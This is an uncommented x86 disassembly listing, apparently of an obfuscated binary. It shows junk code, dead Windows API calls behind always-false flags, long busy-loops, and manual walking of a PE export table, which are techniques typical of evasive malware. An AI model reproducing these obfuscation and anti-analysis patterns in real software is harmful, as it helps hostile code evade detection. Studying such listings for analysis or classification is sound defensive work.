mov dword [ebp - 0x10fc], 1
mov eax, dword [ebp - 0x10fc]
cmp dword [ebp - 0x428], eax
jne 0x10037d26
mov dword [ebp - 0xdcc], 1
jmp 0x10037d2d
and dword [ebp - 0xdcc], 0
push 0
lea ecx, [ebp - 0x13bc]
call fcn.1001d90b
mov ecx, dword [ebp - 0x86c]
mov dword [eax], ecx
mov eax, dword [ebp - 0x86c]
cmp eax, dword [ebp - 0xdcc]
jg 0x10037d5c
mov dword [ebp - 0x13c0], 1
jmp 0x10037d63
and dword [ebp - 0x13c0], 0
mov eax, dword [ebp - 0x13c0]
mov dword [ebp - 0x428], eax
cmp dword [ebp - 0x428], 0
jg 0x10037d84
mov dword [ebp - 0x1104], 1
jmp 0x10037d8b
and dword [ebp - 0x1104], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0xdd4]
cmp eax, dword [ebp - 0x1104]
jne 0x10037dac
mov dword [ebp - 0xddc], 1
jmp 0x10037db3
and dword [ebp - 0xddc], 0
push 1
lea ecx, [ebp - 0x1c84]
call fcn.1001d90b
mov ecx, dword [ebp - 0xddc]
mov dword [eax], ecx
mov byte [ebp - 4], 0x1a
lea ecx, [ebp - 0x1c84]
call fcn.1001d8ef
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x13bc]
call fcn.1001d8ef
cmp dword [ebp - 0x298], 0xffffffff
jne 0x10039549
mov dword [ebp - 0x60], 0x5f394a2a
mov dword [ebp - 0x24], 0xfffffffd
mov dword [ebp - 0x270], 3
mov dword [ebp - 0x2d8], 0xa1241a59
mov dword [ebp - 0x450], 5
mov dword [ebp - 0x84], 0x7672a6df
mov dword [ebp - 0x60], 0xd8e5
cmp dword [ebp - 0x60], 0
jne 0x10038024
cmp dword [ebp - 0x24], 0
je 0x10037f3c
mov eax, dword [ebp - 0x24]
mov dword [ebp - 0x1e34], eax
mov eax, dword [ebp - 0x60]
mov dword [ebp - 0x1e3c], eax
xor eax, eax
je 0x10037e5e
cmp dword [ebp - 0x24], 0
mov dword [ebp - 0x270], 0
mov eax, dword [ebp - 0x24]
cmp dword [ebp - 0x270], eax
jl 0x10037e7f
mov dword [ebp - 0x16ac], 1
jmp 0x10037e86
and dword [ebp - 0x16ac], 0
mov eax, dword [ebp - 0x60]
mov dword [ebp - 0x1e44], eax
mov eax, dword [ebp - 0x60]
mov dword [ebp - 0x1e4c], eax
cmp dword [ebp - 0x60], 0
jne 0x10037eb0
cmp dword [ebp - 0x270], 0
jne 0x10037eb0
and dword [ebp - 0x129c], 0
jmp 0x10037eba
mov dword [ebp - 0x129c], 1
mov eax, dword [ebp - 0x24]
cmp dword [ebp - 0x129c], eax
jg 0x10037ed1
mov dword [ebp - 0xde4], 1
jmp 0x10037ed8
and dword [ebp - 0xde4], 0
mov eax, dword [ebp - 0x24]
imul eax, dword [ebp - 0xde4]
cmp eax, dword [ebp - 0x24]
jg 0x10037ef3
mov dword [ebp - 0x110c], 1
jmp 0x10037efa
and dword [ebp - 0x110c], 0
mov eax, dword [ebp - 0x24]
imul eax, dword [ebp - 0x110c]
cmp eax, dword [ebp - 0x24]
jg 0x10037f15
mov dword [ebp - 0xdec], 1
jmp 0x10037f1c
and dword [ebp - 0xdec], 0
mov eax, dword [ebp - 0x60]
cmp dword [ebp - 0xdec], eax
je 0x10037f3c
cmp dword [ebp - 0x270], 0
je 0x10037f3c
mov dword [ebp - 0x1368], 1
jmp 0x10037f43
and dword [ebp - 0x1368], 0
mov eax, dword [ebp - 0x24]
imul eax, dword [ebp - 0x1368]
test eax, eax
je 0x10037f66
cmp dword [ebp - 0x270], 0
je 0x10037f66
mov dword [ebp - 0xdf4], 1
jmp 0x10037f6d
and dword [ebp - 0xdf4], 0
mov eax, dword [ebp - 0xdf4]
mov dword [ebp - 0x2d8], eax
mov eax, dword [ebp - 0x60]
cmp dword [ebp - 0x2d8], eax
je 0x10037f90
mov dword [ebp - 0x1114], 1
jmp 0x10037f97
and dword [ebp - 0x1114], 0
mov eax, dword [ebp - 0x60]
cmp eax, dword [ebp - 0x1114]
jne 0x10037fb7
cmp dword [ebp - 0x2d8], 0
je 0x10037fb7
mov dword [ebp - 0xdfc], 1
jmp 0x10037fbe
and dword [ebp - 0xdfc], 0
mov eax, dword [ebp - 0xdfc]
mov dword [ebp - 0x450], eax
mov eax, dword [ebp - 0x450]
sub eax, 0xf50e
jne 0x10037fe9
cmp dword [ebp - 0x450], 0
jne 0x10037fe9
and dword [ebp - 0x12a4], 0
jmp 0x10037ff3
mov dword [ebp - 0x12a4], 1
mov eax, dword [ebp - 0x60]
cmp dword [ebp - 0x12a4], eax
jne 0x1003800a
mov dword [ebp - 0xe04], 1
jmp 0x10038011
and dword [ebp - 0xe04], 0
mov eax, dword [ebp - 0xe04]
mov dword [ebp - 0x84], eax
cmp dword [ebp - 0x84], 0
mov eax, 0x5008
cmp eax, 9
jge 0x1003806e
mov dword [ebp - 0x84], 0x1a
jmp 0x10038047
mov eax, dword [ebp - 0x84]
dec eax
mov dword [ebp - 0x84], eax
cmp dword [ebp - 0x84], 0xffffffe8
jne 0x10038069
mov dword [ebp - 0x111c], 7
mov eax, dword [ebp - 0x111c]
inc eax
mov dword [ebp - 0x111c], eax
jmp 0x1003803a
jmp 0x1003855f
mov dword [ebp - 0x458], 1
mov dword [ebp - 0x8c4], 0xe2a2d620
mov byte [ebp - 0x230], 0
mov dword [ebp - 0xe0c], 0x3a04
mov dword [ebp - 0x16b8], 0x1000aaf0
cmp dword [ebp - 0xe0c], 0x3b6a
jle 0x10038182
and dword [ebp - 0x440], 0
jmp 0x100380c3
mov eax, dword [ebp - 0x440]
inc eax
mov dword [ebp - 0x440], eax
cmp dword [ebp - 0x440], 0x2a29
jge 0x10038182
and dword [ebp - 0x430], 0
jmp 0x100380e9
mov eax, dword [ebp - 0x430]
inc eax
mov dword [ebp - 0x430], eax
cmp dword [ebp - 0x430], 0x19ff
jge 0x1003817d
and dword [ebp - 0x438], 0
jmp 0x1003810f
mov eax, dword [ebp - 0x438]
inc eax
mov dword [ebp - 0x438], eax
cmp dword [ebp - 0x438], 0x286d
jge 0x10038178
mov eax, dword [ebp - 0x430]
and eax, dword [ebp - 0x438]
xor eax, dword [ebp - 0x440]
cdq
mov dword [ebp - 0x17e0], eax
mov dword [ebp - 0x17dc], edx
push dword [ebp - 0x17dc]
push dword [ebp - 0x17e0]
lea ecx, [ebp - 0x22e0]
call fcn.1001072e
pop ecx
pop ecx
mov dword [ebp - 0x197c], eax
mov ecx, dword [ebp - 0x197c]
call fcn.1001d53e
push eax
call fcn.10067b63
pop ecx
lea ecx, [ebp - 0x22e0]
call fcn.1001d534
jmp 0x10038102
jmp 0x100380dc
jmp 0x100380b6
movzx eax, byte [ebp - 0x230]
test eax, eax
je 0x10038199
push 0
push 0
push 0
call dword [sym.imp.USER32.dll_OffsetRect]
cmp dword [ebp - 0xe0c], 0x3723
jge 0x100381b1
push dword [ebp - 0x16b8]
call fcn.10067b63
pop ecx
mov dword [ebp - 0x24], 0x1d
jmp 0x100381c1
mov eax, dword [ebp - 0x24]
dec eax
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], 5
je 0x1003855f
mov dword [ebp - 0x1424], 0xffffffff
push 1
lea ecx, [ebp - 0x13cc]
call fcn.1001d86d
mov dword [ebp - 4], 0x1c
mov dword [ebp - 0xe4c], 0x27fd5d1a
mov dword [ebp - 0x448], 0
jmp 0x1003820c
mov eax, dword [ebp - 0x448]
inc eax
mov dword [ebp - 0x448], eax
cmp dword [ebp - 0x448], 1
jge 0x1003822e
push dword [ebp - 0x448]
lea ecx, [ebp - 0x13cc]
call fcn.1001d90b
mov dword [eax], 0x167ba9ac
jmp 0x100381ff
mov eax, dword [ebp - 0x1424]
mov dword [ebp - 0x1e54], eax
push 0
lea ecx, [ebp - 0x13cc]
call fcn.1001d90b
mov dword [eax], 0xfffffffd
mov eax, dword [ebp - 0x60]
add eax, 3
mov dword [ebp - 0xe4c], eax
mov dword [ebp - 0x84], 0
jmp 0x10038272
cmp dword [ebp - 0x84], 0xfffffff5
jle 0x1003854b
mov dword [ebp - 0x460], 0xfa766e9b
mov dword [ebp - 0xe5c], 0x40a493bb
mov eax, dword [ebp - 0x450]
imul eax, dword [ebp - 0x60]
cmp eax, dword [ebp - 0x1424]
jg 0x100382c3
push 0
lea ecx, [ebp - 0x13cc]
call fcn.1001d90b
cmp dword [eax], 0
je 0x100382c3
mov dword [ebp - 0xe14], 1
jmp 0x100382ca
and dword [ebp - 0xe14], 0
mov eax, dword [ebp - 0x270]
cmp dword [ebp - 0xe14], eax
jl 0x100382e4
mov dword [ebp - 0x1124], 1
jmp 0x100382eb
and dword [ebp - 0x1124], 0
mov eax, dword [ebp - 0x1124]
mov dword [ebp - 0x8c4], eax
mov esi, dword [ebp - 0x8c4]
push 0
lea ecx, [ebp - 0x13cc]
call fcn.1001d90b
add esi, dword [eax]
jne 0x10038315
cmp dword [ebp - 0x84], 0
mov eax, dword [ebp - 0x8c4]
cmp dword [ebp - 0x458], eax
jle 0x1003832f
mov dword [ebp - 0xe1c], 1
jmp 0x10038336
and dword [ebp - 0xe1c], 0
mov eax, dword [ebp - 0x458]
cmp eax, dword [ebp - 0xe1c]
jg 0x10038350
mov dword [ebp - 0x12ac], 1
jmp 0x10038357
and dword [ebp - 0x12ac], 0
mov eax, dword [ebp - 0x460]
cmp dword [ebp - 0x12ac], eax
jge 0x10038371
mov dword [ebp - 0xe24], 1
jmp 0x10038378
and dword [ebp - 0xe24], 0
mov eax, dword [ebp - 0xe5c]
cmp dword [ebp - 0xe24], eax
jg 0x10038392
mov dword [ebp - 0x112c], 1
jmp 0x10038399
and dword [ebp - 0x112c], 0
cmp dword [ebp - 0x112c], 0xdd1a6511
ja 0x100383b1
mov dword [ebp - 0xe2c], 1
jmp 0x100383b8
and dword [ebp - 0xe2c], 0
mov eax, dword [ebp - 0x460]
cmp dword [ebp - 0xe2c], eax
je 0x100383d2
mov dword [ebp - 0x1370], 1
jmp 0x100383d9
and dword [ebp - 0x1370], 0
push 0
lea ecx, [ebp - 0x13cc]
call fcn.1001d90b
mov ecx, dword [ebp - 0x1370]
cmp ecx, dword [eax]
jle 0x100383fc
mov dword [ebp - 0xe34], 1
jmp 0x10038403
and dword [ebp - 0xe34], 0
mov eax, dword [ebp - 0x2d8]
cmp dword [ebp - 0xe34], eax
jne 0x1003841d
mov dword [ebp - 0x1134], 1
jmp 0x10038424
and dword [ebp - 0x1134], 0
mov eax, dword [ebp - 0x458]
cmp dword [ebp - 0x1134], eax
jle 0x1003843e
mov dword [ebp - 0xe3c], 1
jmp 0x10038445
and dword [ebp - 0xe3c], 0
cmp dword [ebp - 0xe3c], 0x8463
jg 0x1003845d
mov dword [ebp - 0x12b4], 1
jmp 0x10038464
and dword [ebp - 0x12b4], 0
mov eax, dword [ebp - 0x458]
cmp dword [ebp - 0x12b4], eax
jle 0x1003847e
mov dword [ebp - 0xe44], 1
jmp 0x10038485
and dword [ebp - 0xe44], 0
mov eax, dword [ebp - 0x460]
cmp eax, dword [ebp - 0xe44]
je 0x1003849f
mov dword [ebp - 0x113c], 1
jmp 0x100384a6
and dword [ebp - 0x113c], 0
mov eax, dword [ebp - 0x460]
cmp eax, dword [ebp - 0x113c]
jl 0x100384c9
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x13cc]
call fcn.1001d8ef
jmp 0x100381ba
mov ecx, 0x10088020
call fcn.10042014
mov ecx, dword [ebp - 0x15c]
add eax, dword [ecx + 0x18]
push eax
mov ecx, 0x10088020
call fcn.10042018
mov dword [ebp - 0x470], 6
mov dword [ebp - 0x874], 0
mov dword [ebp - 0x1a40], 0x137b1891
mov dword [ebp - 0x468], 0
jmp 0x100385b4
mov eax, dword [ebp - 0x468]
inc eax
mov dword [ebp - 0x468], eax
cmp dword [ebp - 0x468], 1
jge 0x100385d0
mov eax, dword [ebp - 0x468]
mov dword [ebp + eax*4 - 0x16c4], 0xa2d3
jmp 0x100385a7
mov dword [ebp - 0x470], 0xffffffee
jmp 0x100385e9
mov eax, dword [ebp - 0x470]
dec eax
mov dword [ebp - 0x470], eax
cmp dword [ebp - 0x470], 0xffffffea
jge 0x1003879b
mov dword [ebp - 0x360], 1
mov dword [ebp - 0x35c], 1
mov dword [ebp - 0x908], 0xfffffff8
mov dword [ebp - 0xe6c], 0x4dfecbe9
mov dword [ebp - 0x16d0], 5
mov eax, dword [ebp - 0x360]
inc eax
mov dword [ebp - 0x360], eax
mov eax, dword [ebp - 0x35c]
mov dword [ebp - 0x1e5c], eax
mov eax, 0x107
test eax, eax
je 0x100386dc
mov eax, dword [ebp - 0x1a40]
mov dword [ebp - 0x874], eax
push 7
pop eax
sub eax, dword [ebp - 0x35c]
mov dword [ebp - 0x908], eax
mov eax, dword [ebp - 0x35c]
cmp dword [ebp - 0x908], eax
jg 0x10038683
mov dword [ebp - 0x12bc], 1
jmp 0x1003868a
and dword [ebp - 0x12bc], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x16c4]
cmp dword [ebp - 0x12bc], eax
je 0x100386ab
mov dword [ebp - 0xe64], 1
jmp 0x100386b2
and dword [ebp - 0xe64], 0
mov eax, dword [ebp - 0xe64]
mov dword [ebp - 0x874], eax
cmp dword [ebp - 0x874], 0
jne 0x100386d0
cmp dword [ebp - 0x360], 0
je 0x100386dc
mov dword [ebp - 0x114c], 1
jmp 0x100386e3
and dword [ebp - 0x114c], 0
mov eax, dword [ebp - 0x114c]
mov dword [ebp - 0xe6c], eax
cmp dword [ebp - 0xe6c], 0
je 0x10038708
xor eax, eax
je 0x10038708
mov dword [ebp - 0x1984], 1
jmp 0x1003870f
and dword [ebp - 0x1984], 0
mov eax, dword [ebp - 0x16d0]
mov dword [ebp - 0x1e64], eax
mov eax, dword [ebp - 0x35c]
mov dword [ebp - 0x1d40], eax
cmp dword [ebp - 0x360], 0
je 0x10038780
mov dword [ebp - 0x478], 0
jmp 0x10038749
mov eax, dword [ebp - 0x478]
inc eax
mov dword [ebp - 0x478], eax
cmp dword [ebp - 0x478], 3
jge 0x10038765
mov eax, dword [ebp - 0x478]
mov dword [ebp + eax*4 - 0x1f30], 0
jmp 0x1003873c
push 4
pop eax
shl eax, 1
mov eax, dword [ebp + eax - 0x1f30]
dec eax
push 4
pop ecx
shl ecx, 1
mov dword [ebp + ecx - 0x1f30], eax
jmp 0x10038796
mov dword [ebp - 0x1a48], 0x8f1e
mov eax, dword [ebp - 0x1a48]
mov dword [ebp - 0x908], eax
jmp 0x100385dc
mov byte [ebp - 0x1c9], 0
movzx eax, byte [ebp - 0x1c9]
test eax, eax
je 0x100387bd
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.GDI32.dll_ExtFloodFill]
and dword [ebp - 0x278], 0
jmp 0x100387d3
mov eax, dword [ebp - 0x278]
inc eax
mov dword [ebp - 0x278], eax
mov eax, dword [ebp - 0x15c]
mov ecx, dword [ebp - 0x278]
cmp ecx, dword [eax + 0x18]
jae 0x10039549
mov eax, dword [ebp - 0x15c]
mov ecx, dword [ebp - 0x244]
add ecx, dword [eax + 0x20]
mov eax, dword [ebp - 0x278]
lea eax, [ecx + eax*4]
mov dword [ebp - 0xe8c], eax
cmp dword [ebp - 0xe8c], 0
je 0x10039544
mov dword [ebp - 0x87c], 5
mov dword [ebp - 0x1378], 0xffffffff
mov dword [ebp - 0xd8], 0
jmp 0x10038840
mov eax, dword [ebp - 0xd8]
inc eax
mov dword [ebp - 0xd8], eax
cmp dword [ebp - 0xd8], 1
jge 0x1003885c
mov eax, dword [ebp - 0xd8]
mov dword [ebp + eax*4 - 0x8cc], 0x3cdf
jmp 0x10038833
mov dword [ebp - 0xd8], 0
jmp 0x10038875
mov eax, dword [ebp - 0xd8]
inc eax
mov dword [ebp - 0xd8], eax
cmp dword [ebp - 0xd8], 3
jge 0x10038891
mov eax, dword [ebp - 0xd8]
mov dword [ebp + eax*4 - 0x2178], 0
jmp 0x10038868
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x8cc]
mov dword [ebp - 0x1e74], eax
mov eax, dword [ebp - 0x87c]
mov dword [ebp - 0x1378], eax
mov eax, dword [ebp - 0x1378]
imul eax, dword [ebp - 0x87c]
cmp eax, 0xfffffff6
jne 0x100388ce
mov dword [ebp - 0xe74], 1
jmp 0x100388d5
and dword [ebp - 0xe74], 0
cmp dword [ebp - 0xe74], 8
je 0x100388ea
mov dword [ebp - 0x1154], 1
jmp 0x100388f1
and dword [ebp - 0x1154], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x8cc]
cmp eax, dword [ebp - 0x1154]
jge 0x10038912
mov dword [ebp - 0xe7c], 1
jmp 0x10038919
and dword [ebp - 0xe7c], 0
cmp dword [ebp - 0xe7c], 0xbce008fb
jne 0x10038931
mov dword [ebp - 0x12c4], 1
jmp 0x10038938
and dword [ebp - 0x12c4], 0
mov eax, dword [ebp - 0x87c]
cmp eax, dword [ebp - 0x12c4]
jl 0x10038957
xor eax, eax
inc eax
je 0x10038957
mov dword [ebp - 0xe84], 1
jmp 0x1003895e
and dword [ebp - 0xe84], 0
cmp dword [ebp - 0xe84], 0x8ed40a16
ja 0x10038976
mov dword [ebp - 0x115c], 1
jmp 0x1003897d
and dword [ebp - 0x115c], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x8cc]
imul eax, dword [ebp - 0x115c]
push 4
pop ecx
shl ecx, 1
mov dword [ebp + ecx - 0x2178], eax
mov eax, dword [ebp - 0xe8c]
mov ecx, dword [ebp - 0x244]
add ecx, dword [eax]
push ecx
lea ecx, [ebp - 0x2238]
call fcn.10041f3b
mov dword [ebp - 4], 0x1d
mov edx, dword [ebp + 8]
lea ecx, [ebp - 0x2238]
call fcn.10021202
mov dword [ebp - 0x970], eax
push 2
lea ecx, [ebp - 0x14a4]
call fcn.1001d86d
mov byte [ebp - 4], 0x1e
push 2
lea ecx, [ebp - 0x13dc]
call fcn.1001d86d
mov byte [ebp - 4], 0x1f
mov dword [ebp - 0xa4], 7
mov dword [ebp - 0x198c], 0
mov dword [ebp - 0xe0], 0
jmp 0x10038a21
cmp dword [ebp - 0xe0], 2
jge 0x10038a43
jmp 0x100387c6
mov dword [ebp - 0x4b8], 0x49fe387
mov dword [ebp - 0x1e94], 0
mov dword [ebp - 0x9b8], 1
mov eax, dword [ebp - 0x9b8]
inc eax
mov dword [ebp - 0x9b8], eax
mov dword [ebp - 0x4b8], 0
jmp 0x1003958d
mov eax, dword [ebp - 0x4b8]
inc eax
mov dword [ebp - 0x4b8], eax
cmp dword [ebp - 0x4b8], 0xc
jle 0x100395b4
mov byte [ebp - 0x238], 0
movzx eax, byte [ebp - 0x238]
test eax, eax
je 0x100395b2
push 0
push 0
call dword [sym.imp.GDI32.dll_RectInRegion]
jmp 0x10039580
cmp dword [ebp + 0x10], 0
jne 0x100399e9
cmp dword [ebp - 0x298], 0xffffffff
je 0x100399e9
mov dword [ebp - 0xf8], 0x76820624
mov dword [ebp - 0x9d0], 8
push 3
lea ecx, [ebp - 0x1498]
call fcn.1001d86d
mov dword [ebp - 4], 0x23
mov dword [ebp - 0x1e9c], 8
mov dword [ebp - 0x800], 0
mov dword [ebp - 0xf0], 0
jmp 0x10039620
mov eax, dword [ebp - 0xf0]
inc eax
mov dword [ebp - 0xf0], eax
cmp dword [ebp - 0xf0], 3
jge 0x10039642
push dword [ebp - 0xf0]
lea ecx, [ebp - 0x1498]
call fcn.1001d90b
mov dword [eax], 6
jmp 0x10039613
mov dword [ebp - 0xf0], 0
jmp 0x1003965b
mov eax, dword [ebp - 0xf0]
inc eax
mov dword [ebp - 0xf0], eax
cmp dword [ebp - 0xf0], 2
jge 0x10039677
mov eax, dword [ebp - 0xf0]
mov dword [ebp + eax*4 - 0x1804], 0
jmp 0x1003964e
mov dword [ebp - 0xf8], 0
jmp 0x10039690
mov eax, dword [ebp - 0xf8]
inc eax
mov dword [ebp - 0xf8], eax
cmp dword [ebp - 0xf8], 0x11
jl 0x1003980a
mov dword [ebp - 0x9c0], 0x78a3
mov dword [ebp - 0x1700], 0x1000abb0
cmp dword [ebp - 0x9c0], 0x78df
jle 0x100397e3
and dword [ebp - 0x4d0], 0
jmp 0x100396d7
mov eax, dword [ebp - 0x4d0]
inc eax
mov dword [ebp - 0x4d0], eax
cmp dword [ebp - 0x4d0], 0x63f8
jge 0x100397d1
and dword [ebp - 0x4c0], 0
jmp 0x100396fd
mov eax, dword [ebp - 0x4c0]
inc eax
mov dword [ebp - 0x4c0], eax
cmp dword [ebp - 0x4c0], 0x2bf7
jge 0x100397cc
and dword [ebp - 0x4c8], 0
jmp 0x10039723
mov eax, dword [ebp - 0x4c8]
inc eax
mov dword [ebp - 0x4c8], eax
cmp dword [ebp - 0x4c8], 0x75f7
jge 0x100397c7
and dword [ebp - 0x4d8], 0
jmp 0x10039749
mov eax, dword [ebp - 0x4d8]
inc eax
mov dword [ebp - 0x4d8], eax
cmp dword [ebp - 0x4d8], 0x6b69
jge 0x100397c2
mov eax, dword [ebp - 0x4c0]
cdq
idiv dword [ebp - 0x4c8]
mov eax, dword [ebp - 0x4d0]
mov ecx, edx
sar eax, cl
mov ecx, dword [ebp - 0x4d8]
sar eax, cl
cdq
mov dword [ebp - 0x17f8], eax
mov dword [ebp - 0x17f4], edx
push dword [ebp - 0x17f4]
push dword [ebp - 0x17f8]
lea ecx, [ebp - 0x2310]
call fcn.1001072e
pop ecx
pop ecx
mov dword [ebp - 0x1994], eax
mov ecx, dword [ebp - 0x1994]
call fcn.1001d53e
push eax
call fcn.10067b63
pop ecx
lea ecx, [ebp - 0x2310]
call fcn.1001d534
jmp 0x1003973c
jmp 0x10039716
jmp 0x100396f0
jmp 0x100396ca
push 0
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetDateFormatW]
mov dword [ebp - 0x9d0], 0xd976ff55
cmp dword [ebp - 0x9c0], 0x7791
jge 0x10039805
push dword [ebp - 0x1700]
call fcn.10067b63
pop ecx
jmp 0x10039683
push 0
lea ecx, [ebp - 0x1498]
call fcn.1001d90b
cmp dword [eax], 0xf957
jl 0x1003982b
mov dword [ebp - 0xa00], 1
jmp 0x10039832
and dword [ebp - 0xa00], 0
mov eax, dword [ebp - 0x800]
inc eax
mov dword [ebp - 0x800], eax
je 0x1003989f
mov esi, dword [ebp - 0xf8]
push 2
lea ecx, [ebp - 0x1498]
call fcn.1001d90b
imul esi, dword [eax]
test esi, esi
jne 0x10039874
push 4
pop eax
shl eax, 0
cmp dword [ebp + eax - 0x1804], 0
jne 0x10039874
and dword [ebp - 0x9c8], 0
jmp 0x1003987e
mov dword [ebp - 0x9c8], 1
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x1804]
cmp dword [ebp - 0x9c8], eax
je 0x1003989f
mov dword [ebp - 0x9d8], 1
jmp 0x100398a6
and dword [ebp - 0x9d8], 0
mov eax, dword [ebp - 0x9d0]
cmp dword [ebp - 0x9d8], eax
jl 0x100398c0
mov dword [ebp - 0x9e0], 1
jmp 0x100398c7
and dword [ebp - 0x9e0], 0
mov eax, dword [ebp - 0xf8]
cmp dword [ebp - 0x9e0], eax
jl 0x100398e1
mov dword [ebp - 0x808], 1
jmp 0x100398e8
and dword [ebp - 0x808], 0
push 4
pop eax
shl eax, 0
mov ecx, dword [ebp - 0x808]
mov dword [ebp + eax - 0x1804], ecx
cmp dword [ebp - 0x808], 0xb060
jg 0x10039913
mov dword [ebp - 0x9e8], 1
jmp 0x1003991a
and dword [ebp - 0x9e8], 0
cmp dword [ebp - 0x9e8], 0xdc6d
jge 0x10039932
mov dword [ebp - 0x9f0], 1
jmp 0x10039939
and dword [ebp - 0x9f0], 0
mov eax, dword [ebp - 0xf8]
cmp eax, dword [ebp - 0x9f0]
jle 0x10039953
mov dword [ebp - 0x9f8], 1
jmp 0x1003995a
and dword [ebp - 0x9f8], 0
mov eax, dword [ebp - 0x9f8]
mov dword [ebp - 0xf8], eax
mov eax, dword [ebp - 0xf8]
mov dword [ebp - 0x1ea4], eax
push 0
lea ecx, [ebp - 0x1498]
call fcn.1001d90b
mov ecx, dword [ebp - 0xa00]
cmp ecx, dword [eax]
jne 0x1003999b
mov eax, 0x1415
test eax, eax
jne 0x1003999b
and dword [ebp - 0xa08], 0
jmp 0x100399a5
mov dword [ebp - 0xa08], 1
push 2
lea ecx, [ebp - 0x1498]
call fcn.1001d90b
mov ecx, dword [ebp - 0xa08]
mov dword [eax], ecx
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x1498]
call fcn.1001d8ef
mov eax, dword [ebp - 0x15c]
mov ecx, dword [ebp - 0x244]
add ecx, dword [eax + 0x24]
mov eax, dword [ebp - 0x298]
mov ax, word [ecx + eax*2]
mov word [ebp - 0x108], ax
mov dword [ebp - 0x1eac], 0xa53d06ce
mov dword [ebp - 0x1eb4], 1
mov dword [ebp - 0x1ebc], 0xf4288a13
push 1
lea ecx, [ebp - 0x1f58]
call fcn.1001d86d
mov dword [ebp - 4], 0x24
mov dword [ebp - 0x1ec4], 0xffffffff
mov dword [ebp - 0x1ecc], 4
mov dword [ebp - 0x1ed4], 0x55a44198
mov dword [ebp - 0xa10], 0xaeb382e5
mov dword [ebp - 0x4e0], 0
jmp 0x10039a5c
mov eax, dword [ebp - 0x4e0]
inc eax
mov dword [ebp - 0x4e0], eax
cmp dword [ebp - 0x4e0], 1
jge 0x10039a7e
push dword [ebp - 0x4e0]
lea ecx, [ebp - 0x1f58]
call fcn.1001d90b
mov dword [eax], 0x782a1836
jmp 0x10039a4f
mov byte [ebp - 0x23c], 0
movzx eax, byte [ebp - 0x23c]
test eax, eax
je 0x10039a98
push 0
call dword [sym.imp.GDI32.dll_SaveDC]
mov eax, dword [ebp - 0xa10]
inc eax
mov dword [ebp - 0xa10], eax
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x1f58]
call fcn.1001d8ef
movzx eax, word [ebp - 0x108]
cmp eax, 0xffff
je 0x1003fd47
mov dword [ebp - 0x2e0], 0xfffffffa
mov dword [ebp - 0x314], 0x8664a116
mov dword [ebp - 0x199c], 1
mov dword [ebp - 0x2e0], 0xe
jmp 0x10039afd
mov eax, dword [ebp - 0x2e0]
dec eax
mov dword [ebp - 0x2e0], eax
cmp dword [ebp - 0x2e0], 0xfffffff4
jle 0x10039b1d
mov dword [ebp - 0x1a58], 0xfffffffb
cmp dword [ebp - 0x1a58], 0
je 0x10039b1b
jmp 0x10039b1d
jmp 0x10039af0
cmp dword [ebp - 0x314], 1
jg 0x10039b3b
cmp dword [ebp - 0x314], 0
je 0x10039b3b
mov dword [ebp - 0xa18], 1
jmp 0x10039b42
and dword [ebp - 0xa18], 0
cmp dword [ebp - 0xa18], 0xffffffff
jbe 0x10039b57
mov dword [ebp - 0x170c], 1
jmp 0x10039b5e
and dword [ebp - 0x170c], 0
mov eax, dword [ebp - 0x314]
add eax, dword [ebp - 0x314]
imul eax, dword [ebp - 0x199c]
sub eax, dword [ebp - 0x2e0]
mov dword [ebp - 0x314], eax
mov eax, dword [ebp - 0x15c]
mov ecx, dword [ebp - 0x244]
add ecx, dword [eax + 0x1c]
movzx eax, word [ebp - 0x108]
lea eax, [ecx + eax*4]
mov dword [ebp - 0x19a4], eax
push 2
lea ecx, [ebp - 0x1cb4]
call fcn.1001d86d
mov dword [ebp - 4], 0x25
push 4
lea ecx, [ebp - 0x1c9c]
call fcn.1001d86d
mov byte [ebp - 4], 0x26
mov dword [ebp - 0x1edc], 0xffffffff
mov dword [ebp - 0x1a60], 0
mov dword [ebp - 0x1ee4], 0
mov dword [ebp - 0x1eec], 1
mov dword [ebp - 0x1ef4], 0xd383de46
mov dword [ebp - 0x1724], 1
mov dword [ebp - 0x508], 1
mov dword [ebp - 0x100], 0
jmp 0x10039c20
mov eax, dword [ebp - 0x100]
inc eax
mov dword [ebp - 0x100], eax
cmp dword [ebp - 0x100], 2
jge 0x10039c42
push dword [ebp - 0x100]
lea ecx, [ebp - 0x1cb4]
call fcn.1001d90b
mov dword [eax], 1
jmp 0x10039c13
mov dword [ebp - 0xa20], 0x2ba1
mov dword [ebp - 0x1718], 0x1000abf8
cmp dword [ebp - 0xa20], 0x2cdd
jle 0x10039d5d
and dword [ebp - 0x4e8], 0
jmp 0x10039c7c
mov eax, dword [ebp - 0x4e8]
inc eax
mov dword [ebp - 0x4e8], eax
cmp dword [ebp - 0x4e8], 0x22e2
jge 0x10039d4b
and dword [ebp - 0x4f0], 0
jmp 0x10039ca2
mov eax, dword [ebp - 0x4f0]
inc eax
mov dword [ebp - 0x4f0], eax
cmp dword [ebp - 0x4f0], 0x357d
jge 0x10039d46
and dword [ebp - 0x4f8], 0
jmp 0x10039cc8
mov eax, dword [ebp - 0x4f8]
inc eax
mov dword [ebp - 0x4f8], eax
cmp dword [ebp - 0x4f8], 0x3375
jge 0x10039d41
and dword [ebp - 0x500], 0
jmp 0x10039cea
mov eax, dword [ebp - 0x500]
inc eax
mov dword [ebp - 0x500], eax
cmp dword [ebp - 0x500], 0x1e24
jge 0x10039d3c
mov esi, dword [ebp - 0x4e8]
mov ecx, dword [ebp - 0x4f0]
shl esi, cl
mov eax, dword [ebp - 0x4f8]
cdq
idiv dword [ebp - 0x500]
mov ecx, edx
sar esi, cl
mov eax, esi
cdq
mov dword [ebp - 0x1810], eax
mov dword [ebp - 0x180c], edx
push dword [ebp - 0x180c]
push dword [ebp - 0x1810]
mov ecx, 0x10082bb8
call fcn.1001d55e
jmp 0x10039cdd
jmp 0x10039cbb
jmp 0x10039c95
